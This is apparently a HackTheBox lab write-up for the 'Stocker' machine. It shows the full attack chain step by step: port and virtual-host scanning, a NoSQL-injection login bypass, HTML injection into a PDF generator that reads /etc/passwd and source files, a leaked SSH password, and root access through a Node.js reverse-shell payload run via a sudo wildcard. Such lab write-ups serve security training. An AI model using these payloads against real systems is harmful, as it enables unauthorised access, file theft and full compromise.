HackTheBox Machine Stocker

• Stocker is a medium difficulty Linux machine that features a website running on port 80 that advertises various house furniture.

You can also read this here: https://aftabsama.com/writeups/hackthebox/machine-stocker/

HTB Machine Stocker

we atart with nmap scan:

┌──(Jack㉿Sparrow)-[~/Downloads/htb/stocker]
└─$ sudo nmap -sS -sC -T5 10.10.11.196 -oN nmap.txt
[sudo] password for Jack: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-30 02:18 EDT
Nmap scan report for 10.10.11.196
Host is up (0.68s latency).
Not shown: 938 closed tcp ports (reset), 60 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http
|_http-title: Did not follow redirect to http://stocker.htb
Nmap done: 1 IP address (1 host up) scanned in 29.93 seconds

we have 2 ports open: 22(ssh) , 80(http)

add stocker.htb to /etc/hosts file

visiting this page we see one comment from Angoose Garden, Head of IT at Stockers Ltd.

next we try to bruteforce subdomains:

┌──(Jack㉿Sparrow)-[~]
└─$ gobuster vhost -u stocker.htb -w /usr/share/wordlists/dirb/common.txt  --append-domain  -t 100
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://stocker.htb
[+] Method:          GET
[+] Threads:         100
[+] Wordlist:        /usr/share/wordlists/dirb/common.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/03/30 02:44:46 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]
Progress: 4614 / 4615 (99.98%)
===============================================================
2023/03/30 02:45:04 Finished
===============================================================

again we need to add dev.stocker.htb to /etc/hosts file

after few try and errors we found that login page is vulnerable to NoSQL Injection.

Content-Type: application/json

Payload: {"username": {"$ne": null}, "password": {"$ne": null}}

here we can purchase something through api and on view order it will generate pdf or that order.

we can try to Read local file.

Path:api/order Payload:

{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<object data='file:///etc/passwd'>","description":"It's a red cup.","image":"/etc/passwd","price":32,"currentStock":4,"__v":0,"amount":1}]}

response:

{"success":true,"orderId":"642550c92e188ca84f0a3f46"}

we can see generated PDF at /api/po/642550c92e188ca84f0a3f46

it is not complete we can modify our payload to:

{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<object data='file:///var/www/dev/index.js' height=800 width=800>","description":"It's a red cup.","image":"Yo","price":32,"currentStock":4,"__v":0,"amount":1}]}

result:

we found Password: IHeardPassphrasesArePrettySecure

previously we show one comment from Angoose Garden, Head of IT at Stockers Ltd.

we can try this username:Angoose and password on ssh.

chech root Permission using sudo -l

angoose@stocker:~$ sudo -l
[sudo] password for angoose: 
Sorry, try again.
[sudo] password for angoose: 
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

we can escalate our privilege with node

Payload:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("bash", []);
    var client = new net.Socket();
    client.connect(8888, "127.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

Reference: https://www.revshells.com/

save this as js file and run using sudo and path traversal.

Now we are root.

Happy Hacking